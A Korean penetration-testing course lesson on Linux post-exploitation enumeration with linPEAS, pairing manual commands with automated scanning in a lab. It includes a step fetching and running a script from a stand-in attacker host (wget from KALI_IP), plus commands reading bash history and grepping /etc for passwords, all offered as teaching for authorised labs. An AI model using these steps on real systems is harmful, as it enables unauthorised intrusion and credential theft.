Step 126. 열거 자동화 — linPEAS
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★☆☆ | 예상 소요 시간 3시간
전제: Step 125의 수동 정찰 명령 여섯 개를 직접 쳐 봤다. 파일 전송(Kali→타깃)의 흐름을 안다.
- 준비물: 리눅스 환경(WSL 가능). 수동 열거 명령은 직접 실측하고, linPEAS 본체의 화면은 출력 예시로 제시합니다 (이 환경에는 linPEAS가 없습니다).
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
Step 125에서 여섯 개의 정찰 명령을 배웠습니다. 그런데 실제 침투 직후에 확인할 것은 여섯 개가 아니라 수백 개입니다 — SUID, sudo, cron, 쓰기 가능 파일, 저장된 비밀번호, 커널 버전, 네트워크, 프로세스…. 이걸 일일이 손으로 치다가는 시간도 모자라고 무엇보다 빼먹습니다. 그래서 존재하는 것이 자동 열거 도구, 그중에서도 리눅스의 대표 주자 linPEAS입니다. 오늘은 "수동으로 직접 확인해 보기 → 자동 도구에 맡기기 → 도구의 말을 맹신하지 않기"라는, 실무 그대로의 워크플로우를 배웁니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 수동 열거 명령 묶음을 직접 실행해 어떤 정보가 나오는지 안다
- linPEAS를 타깃으로 옮겨 실행하고 결과를 파일로 저장한다
- linPEAS 출력의 색상 신호(빨강/노랑)를 읽고 후보를 선별한다
- 자동 도구의 후보를 수동으로 검증하는 습관을 안다
- "도구가 못 찾은 것"이 존재한다는 것을 이해한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 리눅스 셸 (WSL 실측 + MS2/Kali 출력 예시) |
| 오늘의 도구 | linPEAS (linpeas.sh) — 출력 예시, 수동 명령 묶음 — 실측 |
| 오늘의 명령 | uname -a, id, env, crontab -l, ss -tlnp, who·w, tee |
| 필요한 개념 | 자동 열거, 색상 우선순위, 후보 vs 확정, 맹신 금지 |
| 오늘의 산출물 | 수동 열거 결과 노트 + linPEAS 후보 검증 기록 |
2-1. linPEAS는 무엇인가
linPEAS(PEASS-ng 프로젝트의 리눅스판)는 쉘 스크립트 하나짜리 자동 열거 도구입니다. 설치할 것도 없이 linpeas.sh 파일 하나를 타깃에 옮겨 실행하면, Step 125에서 배운 정찰 명령들을 포함한 수백 가지 점검을 한 번에 돌려 줍니다. 커널 버전, SUID 목록, sudo 규칙, cron, 쓰기 가능한 설정 파일, 파일 속에 박힌 비밀번호 후보, 네트워크 연결, 실행 중인 프로세스까지.
출력의 특징은 색상입니다. 위험도가 높은 발견(예: "이 SUID는 GTFOBins에 있다", "이 cron 스크립트는 누구나 쓸 수 있다")은 빨간색·노란색으로 강조됩니다. 제작진의 안내에 따르면 빨강/노랑 강조는 "높은 확률의 권한 상승 후보"라는 뜻입니다 — 긴 출력 속에서 어디부터 볼지 알려 주는 신호등입니다.
2-2. 자동화의 가치와 함정
자동 도구의 가치는 세 가지입니다 — 속도(수백 항목이 몇 분), 빠짐없음(피곤한 사람과 달리 체크리스트를 건너뛰지 않음), 기준선 지식(GTFOBins 목록 같은 배경지식이 내장됨).
함정도 분명합니다 — 후보는 후보일 뿐입니다. linPEAS가 빨간색으로 칠했다고 그것이 실제 상승 경로라는 보장은 없습니다. 환경 조합이 다르면 무용지물인 후보도 많고, 반대로 도구가 칠하지 않은 것 중에 진짜 경로가 숨어 있기도 합니다. 그래서 실무의 문장은 이것입니다 — "도구가 모으고, 사람이 확정한다."
2-3. tee — 화면에도 보고 파일에도 남기기
오늘 함께 배우는 보조 명령이 tee입니다.
./linpeas.sh | tee lin.txt
파이프(|)로 넘긴 출력을 화면에도 표시하면서 동시에 파일에도 저장합니다. linPEAS의 출력은 수천 줄이라 스크롤 백으로 읽기 어렵습니다 — 파일로 남겨 나중에 Kali에서 grep으로 뒤지는 것이 정석입니다. 침투 테스트의 모든 출력은 증거이므로(Step 128에서 보고서의 재료가 됩니다) 저장 습관은 지금부터 몸에 붙입니다.
2-4. 파일을 타깃에 올리는 법 — 임시 웹서버 기술
타깃 쉘만 있을 때 내 Kali의 파일을 어떻게 옮길까요? 표준 기술은 이렇습니다.
# Kali (파일을 주는 쪽)
python3 -m http.server 8000
# 타깃 쉘 (받는 쪽)
wget http://KALI_IP:8000/linpeas.sh
파이썬 내장 웹서버를 띄워 "파일 배포소"를 만들고, 타깃에서 wget(또는 curl)으로 가져오는 것. Step 98의 nc, Step 79의 소켓이 커진 실전 기술입니다. "내가 서버를 열고 상대가 가져오게 한다"는 이 구도는 공격 체인 곳곳에서 반복됩니다.
3. 따라 하기
먼저 수동 열거를 직접 체험합니다 — 자동 도구가 대신해 주는 일이 정확히 무엇인지 몸으로 알아야 도구의 출력을 읽을 수 있기 때문입니다. 전부 읽기 전용 명령입니다.
3-1. 시스템과 나 — 기본 신원 확인
uname -a
id
출력 (2026-09-09 WSL 실측):
Linux XI3492 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC ... x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
읽는 법: Step 125에서 배운 대로 커널 버전과 현재 권한입니다. linPEAS도 이 두 명령부터 돌립니다 — 모든 열거는 "어떤 시스템에서 누구로 있는가"의 답에서 시작합니다.
3-2. 환경 변수 엿보기 — env
env
출력 일부 (2026-09-09 WSL 실측):
SHELL=/bin/bash
WSL_DISTRO_NAME=Codex-Security-Lab
PWD=/mnt/c/Users/.../21-57-12-c850bf8c
LOGNAME=root
HOME=/root
LANG=C.UTF-8
읽는 법: 환경 변수는 프로그램들이 공유하는 쪽지판입니다. PATH가 어떻게 잡혀 있는지, 이상한 변수에 경로나 키가 박혀 있지 않은지 봅니다. 실제 침투 현장에서는 개발자가 환경 변수에 API 키나 비밀번호를 넣어 둔 사고가 심심치 않게 잡힙니다 — 그래서 linPEAS의 점검 항목에도 env가 들어 있습니다.
3-3. 개인 크론 확인 — crontab -l
crontab -l
출력 (2026-09-09 WSL 실측):
no crontab for root
읽는 법: "없다"는 메시지도 정보입니다 — 이 계정의 개인 크론은 비어 있다. Step 125에서는 시스템 전체 크론(/etc/crontab)을 봤고, 이번에는 계정별 크론입니다. 둘은 별개입니다. 열거는 "있는 것"만 찾는 게 아니라 "무엇이 없는지"도 확인하는 일임을 기억하세요.
3-4. 열린 귀와 대화 상대 — ss와 who
ss -tlnp
출력 (2026-09-09 WSL 실측):
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* users:(("systemd-resolve",pid=169,fd=15))
LISTEN 0 1000 10.255.255.254:53 0.0.0.0:*
LISTEN 0 5 0.0.0.0:8000 0.0.0.0:* users:(("python3",pid=716,fd=3))
읽는 법: 이 기계가 열어 둔 "귀"(LISTEN 포트)의 목록입니다. 8000번의 python3은 Step 128 준비로 띄워 둔 테스트 서버입니다. 침투 현장에서는 여기서 외부에 안 열려 있던 내부 전용 서비스(127.0.0.1로만 묶인 DB 관리 포트 같은)를 발견하는 것이 핵심 수확입니다 — 밖에서는 못 보지만 안에서는 보이는 문이니까요. 참고로 오래된 시스템에는 ss 대신 netstat -antp를 씁니다 (이 환경에서 netstat은 없어서 command not found가 뜹니다 — 2026-09-09 실측. 도구의 부재 자체도 열거 결과입니다).
who
w
출력 (2026-09-09 WSL 실측):
root pts/1 2026-09-09 15:07
읽는 법: 지금 누가 로그인해 있는가. 다른 사용자가 활동 중인 서버에서는 "관리자가 지금 보고 있는가"를 확인하는 감각이 필요합니다 — 실무 침투 테스트에서는 고객의 작업을 방해하지 않기 위한 상황 파악이기도 합니다.
3-5. 명령 이력과 숨겨진 비밀 — history와 grep
cat /root/.bash_history
cat /home/*/.bash_history
출력 (2026-09-09 WSL 실측):
cat: /root/.bash_history: No such file or directory
cat: '/home/*/.bash_history': No such file or directory
읽는 법: 둘 다 없습니다. .bash_history는 사용자가 쉘에서 친 명령의 기록인데, 쉘이 종료될 때 저장됩니다 — 아직 종료된 적이 없거나, 사용자가 지우는 습관이 있으면 비어 있습니다. 침투 현장에서 여기가 차 있으면 대박입니다 — 이전 사용자가 친 명령에 비밀번호, 서버 주소, 관리 절차가 그대로 남아 있기 때문입니다. "비어 있다"는 것도 "흔적 관리를 하는 사용자"라는 정보입니다.
grep -r "password" /etc 2>/dev/null | head -5
출력 (2026-09-09 WSL 실측):
/etc/default/useradd:# The number of days after a password expires until the account
/etc/ssl/openssl.cnf:# input_password = secret
/etc/ssl/openssl.cnf:# output_password = secret
/etc/pam.d/su:# This allows root to su without passwords (normal operation)
읽는 법: 설정 파일들에서 "password"라는 단어를 뒤지는 검색입니다. 이번 실측에서는 주석과 예제뿐이라 수확이 없지만 — 이 명령이 노리는 것은 설정 파일에 실제 값으로 박힌 비밀번호입니다. linPEAS는 이 검색을 /etc뿐 아니라 /var/www, 홈 디렉터리까지 훨씬 넓은 범위와 더 많은 키워드(passwd, pwd, secret, api_key…)로 자동 실행합니다.
3-6. 수동 열거의 총평 — 이게 왜 힘든가
지금까지 일곱 종류의 명령을 쳤습니다. 느낀 점을 적어 보세요 — 아마 이럴 것입니다. "치는 건 할 만한데, 빠뜨린 게 없는지 확신이 안 선다." 그렇습니다. 그리고 이 목록은 실제 점검 항목의 수십 분의 일입니다. 이 불안이 자동화 도구가 해결하는 문제입니다.
3-7. linPEAS 실행 — 출력 예시
MS2 랩에서의 흐름입니다 (이 환경에는 linPEAS가 없으므로 출력 예시):
# Kali: 배포소 열기
python3 -m http.server 8000
# MS2 쉘: 받아서 실행 + 저장
wget http://KALI_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee lin.txt
═══════════════════════════════╣ System Information ╠═══════════════════════════════
Linux version 2.6.24-16-server ...
...
═══════════════════════════════╣ Interesting Files ╠════════════════════════════════
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
-rwsr-xr-x 1 root root 732k ... /usr/bin/nmap ← 빨간색 강조 (GTFOBins 등재)
...
[+] Readable files belonging to root and readable by me
/etc/crontab
읽는 법: ① 섹션 제목(╣ System Information ║ 등)으로 항목이 분류됩니다. ② 각 항목 위에 참고 링크([i])가 붙어 "왜 위험한가"를 바로 공부할 수 있습니다. ③ 빨간색/노란색 강조가 높은 확률의 후보 — 예시의 nmap SUID처럼. MS2 같은 오래된 타깃에서는 최신 linPEAS의 일부 검사가 에러를 낼 수 있지만, 진행에는 지장이 없습니다.
3-8. 후보 검증 — 도구의 말을 사람이 확인한다
마지막 단계가 오늘의 정점입니다. linPEAS가 칠해 준 후보를 Step 125의 수동 명령으로 다시 확인합니다.
# 후보: nmap이 SUID라고? → 직접 확인 (출력 예시)
ls -l /usr/bin/nmap
# -rwsr-xr-x 1 root root ... /usr/bin/nmap
# GTFOBins 조회 → 레시피 확인 → 랩에서만 검증
왜: 도구는 "이상해 보인다"까지이고, "실제로 되는가"는 여러분의 몫입니다. 반대 방향도 생각해 보세요 — linPEAS가 강조하지 않았지만 여러분의 눈에 이상해 보인 것이 있었나요? 그것이 "도구가 못 찾은 것"의 첫 경험입니다.
4. 미션과 연습문제
미션 — 수동 열거와 자동 열거의 대조
- 3-1~3-5의 수동 명령 일곱 개를 여러분의 리눅스에서 실행하고 출력을 파일로 저장합니다
- 각 명령에 대해 "이것이 침투 현장에서 주는 정보"를 한 줄씩 적습니다
- (랩이 있다면) MS2에 linPEAS를 옮겨 실행하고, 빨강/노랑 후보 3개를 선별합니다
- 선별한 후보 각각을 수동 명령으로 재확인하고 "유효/무효" 판정을 내립니다
- linPEAS가 찾은 것 중 수동 명령으로는 못 찾았을 것 하나를 골라 "자동화의 가치"로 기록합니다
연습문제
문제 1. ./linpeas.sh > lin.txt 대신 ./linpeas.sh | tee lin.txt를 쓰는 이유는 무엇인가요?
문제 2. linPEAS의 빨간색 강조를 "확정된 상승 경로"가 아니라 "후보"라고 부르는 이유를 설명해 보세요.
문제 3. .bash_history가 비어 있을 때 얻을 수 있는 정보는 무엇인가요?
문제 4. ss -tlnp에서 127.0.0.1로 묶인 LISTEN 포트가 침투자에게 가치 있는 이유를 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
수동 열거 정리의 예시 (3절 실측 기반):
| 명령 | 실측 결과 | 침투 현장에서의 의미 |
|---|---|---|
uname -a |
커널 6.18 (최신) | 커널 익스플로잇 후보 판별 |
id |
root | 현재 권한 확인 |
env |
WSL 관련 변수들 | 박힌 키·이상 경로 점검 |
crontab -l |
no crontab for root |
개인 크론 유무 — 없음도 정보 |
ss -tlnp |
53번, 8000번 LISTEN | 내부 전용 서비스 발견 |
who·w |
root 1명 | 관리자 활동 파악 |
.bash_history |
파일 없음 | 흔적 관리 습관의 단서 |
grep -r password /etc |
주석·예제뿐 | 박힌 비밀번호 수색 |
검증하는 법: ① 일곱 명령의 출력이 파일로 남아 있는가. ② "없음/없다"는 결과도 표에 기록했는가 — 빈 결과를 버리지 않는 것이 열거의 자세입니다. ③ linPEAS 후보를 선별했다면 각 후보에 수동 확인(ls -l 등)이 붙어 있는가. ④ "자동화의 가치" 항목이 구체적인가 — "빨라서"가 아니라 "이 항목은 내 체크리스트에 없었다"처럼.
연습문제 해답
문제 1 해답. > 리다이렉션은 출력이 파일로만 가서 화면에는 아무것도 안 보입니다 — 긴 스캔의 진행 상황을 볼 수 없습니다. tee는 화면과 파일 양쪽에 흘려내므로, 실행 중에는 눈으로 보고 끝난 뒤에는 파일로 검색할 수 있습니다. 침투 테스트의 모든 출력은 보고서의 증거이므로 저장이 기본입니다.
문제 2 해답. 도구는 정적인 규칙("이 명령이 SUID다", "GTFOBins에 등재됐다")으로 표시할 뿐, 실제 환경에서 그 경로가 작동하는지는 조합 조건에 달려 있습니다. 실행 조건이 안 맞거나 다른 방어 장치가 막는 경우가 흔합니다. 그래서 후보 → 수동 검증 → 확정의 단계를 거치며, 이 흐름이 "도구가 모으고 사람이 확정한다"는 원칙입니다.
문제 3 해답. 두 가지 해석이 가능합니다 — ① 사용자가 쉘 종료 시 저장되는 이력을 의식적으로 지우는, 흔적 관리 습관이 있는 사용자. ② 해당 쉘이 아직 정상 종료된 적이 없음. "증거가 없다"가 아니라 "증거 부재 자체가 단서"인 것, 열거의 미묘한 재미입니다.
문제 4 해답. 127.0.0.1에 묶인 서비스는 외부 스캔(nmap 등)에는 절대 안 잡힙니다 — 밖에서 보면 닫힌 문입니다. 그런데 안에 들어온 침투자에게는 열려 있습니다. DB 관리 포트, 내부 관리 도구 같은 것들이 여기 걸리고, 대개 "내부에서만 쓴다"는 안심 때문에 인증이 허술한 경우가 많습니다. 안쪽에서만 보이는 공격 표면 — 그래서 쉘 획득 후의 열거가 외부 스캔을 대체할 수 없는 것입니다.
완료 기준 체크리스트
- [ ] 수동 열거 명령 일곱 개를 직접 실행하고 저장했다
- [ ] "없다"는 결과도 정보로 기록하는 습관을 이해했다
- [ ]
tee로 화면과 파일에 동시 기록할 수 있다 - [ ] 임시 웹서버 + wget으로 파일을 타깃에 옮기는 흐름을 안다
- [ ] linPEAS 출력의 색상 신호와
[i]링크의 용도를 안다 - [ ] 후보와 확정의 차이, 수동 검증의 필요성을 설명할 수 있다
- [ ] 미션: 수동↔자동 대조표와 후보 검증 기록을 완성했다
6. 흔한 실수와 해결
벽 1. linPEAS 출력이 너무 길어서 못 읽겠다
증상: 수천 줄이 쏟아져 어디가 어딘지 모릅니다.
원인: 정상입니다 — linPEAS의 출력은 통째로 읽는 것이 아니라 검색하는 것입니다.
해결: tee로 저장한 파일을 Kali로 가져와 grep으로 뒤지세요. 빨간색 강조는 색상 코드로 저장되므로, "Interesting Files", "SUID" 같은 섹션 제목으로 먼저 이동한 뒤 주변을 읽는 방식이 효율적입니다. 그리고 첫 번째 독서의 목표는 "전부 이해"가 아니라 "후보 3개 선별"입니다.
벽 2. wget이 연결을 못 한다
증상 (출력 예시): failed: Connection refused. 또는 타임아웃.
원인: Kali의 웹서버가 안 떠 있거나, IP를 잘못 적었거나, 방화벽이 막았습니다.
해결: 순서대로 점검 — ① Kali에서 python3 -m http.server 8000이 살아 있는가 ② KALI_IP가 Kali의 실제 IP인가 (ip a로 확인) ③ 같은 네트워크(Host-only 등)에 붙어 있는가. 파일 전송 실패의 원인은 열에 아홉이 "배포소가 안 열려 있다"입니다.
벽 3. MS2에서 linPEAS 일부가 에러를 낸다
증상 (출력 예시): 스크립트 중간중간 명령어 오류가 섞여 나옵니다.
원인: MS2는 2008년 무렵의 오래된 시스템이라, 최신 linPEAS가 쓰는 일부 명령·옵션이 없습니다.
해결: 무시하고 진행하세요. 에러가 난 검사만 건너뛸 뿐 나머지 수백 개는 돕니다. 오히려 "이 오래된 시스템에는 어떤 명령이 없는가"를 보는 것도 열거의 일부입니다 — 도구가 없으면 그 기능을 직접 구현하거나 우회해야 한다는 뜻이니까요.
벽 4. 빨간색 후보를 따라갔는데 실제로는 안 된다
증상: GTFOBins 레시피를 적용했는데 권한 상승이 안 됩니다.
원인: 후보는 후보입니다 — 환경 조합이 안 맞으면 무효입니다. 도구 탓이 아니라 정상적인 확률 게임의 한 판입니다.
해결: "무효" 판정도 결과입니다 — 왜 안 됐는지 한 줄 적어 두고 다음 후보로 넘어가세요. 3개를 검증해 1개가 유효하면 성공적인 열거입니다. 그리고 "왜 안 됐는가"의 기록이 쌓이면, 그것이 Step 128 보고서에서 "시도했으나 무효였던 경로" 절의 재료가 됩니다.
벽 5. 자동 도구를 돌리고 나니 수동 명령을 까먹는다
증상: linPEAS 없이는 아무것도 못 하겠다는 느낌.
원인: 도구 의존의 시작입니다 — 위험 신호입니다. 시험장, 제한된 환경, 도구 반입 금지 실무에서는 수동 명령만 남습니다.
해결: 의식적으로 훈련하세요 — 수동 명령으로 먼저 훑고, 자동 도구로 "빠뜨린 것"을 확인하는 순서를 지키면, 도구는 대체재가 아니라 감사관이 됩니다. Step 125의 정찰표가 여러분의 내장 체크리스트입니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 자동 열거 | 수백 가지 점검을 한 번에 돌리는 스크립트 — linPEAS |
| 색상 신호 | 빨강/노랑 = 높은 확률의 상승 후보. 후보일 뿐, 확정 아님 |
| 후보 vs 확정 | 도구가 모으고, 사람이 수동 명령으로 확정한다 |
| 임시 배포소 | python3 -m http.server + wget — 타깃으로 파일 옮기는 표준 기술 |
| 빈 결과의 정보성 | no crontab, 없는 history도 사용자의 습관에 대한 단서 |
| 내부 전용 포트 | 127.0.0.1에 묶인 LISTEN — 안에서만 보이는 공격 표면 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
env |
환경 변수 엿보기 — 박힌 키 수색 |
crontab -l |
계정별 크론 확인 |
ss -tlnp |
열린 포트와 주인 프로세스 (구형은 netstat -antp) |
who / w |
로그인 중인 사용자 |
cat ~/**/.bash_history |
명령 이력 수집 시도 |
grep -r "password" /etc 2>/dev/null |
설정 파일 속 비밀번호 수색 |
./linpeas.sh | tee lin.txt |
자동 열거 + 동시 저장 (출력 예시) |
명령어보다 중요한 감각
자동화는 "손을 쉬게 하는 것"이 아니라 "빠뜨림을 없애는 것"입니다. 수백 항목의 체크리스트를 피곤하지 않은 도구가 대신 돌리고, 여러분은 절약된 시간에 "후보가 진짜인가"를 판단하는 데 씁니다. 판단은 언제나 사람의 몫 — 색이 칠해진 줄을 맹신하는 순간 도구의 노예가 되고, 검증하는 순간 도구의 주인이 됩니다. 그리고 도구가 준 후보 목록과 여러분의 수동 정찰표를 나란히 놓고 "어느 쪽이 뭘 놓쳤나"를 비교해 보세요. 그 대조표가 쌓일수록, 여러분만의 체크리스트가 단단해집니다.
전부 체크되면 Step 126 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.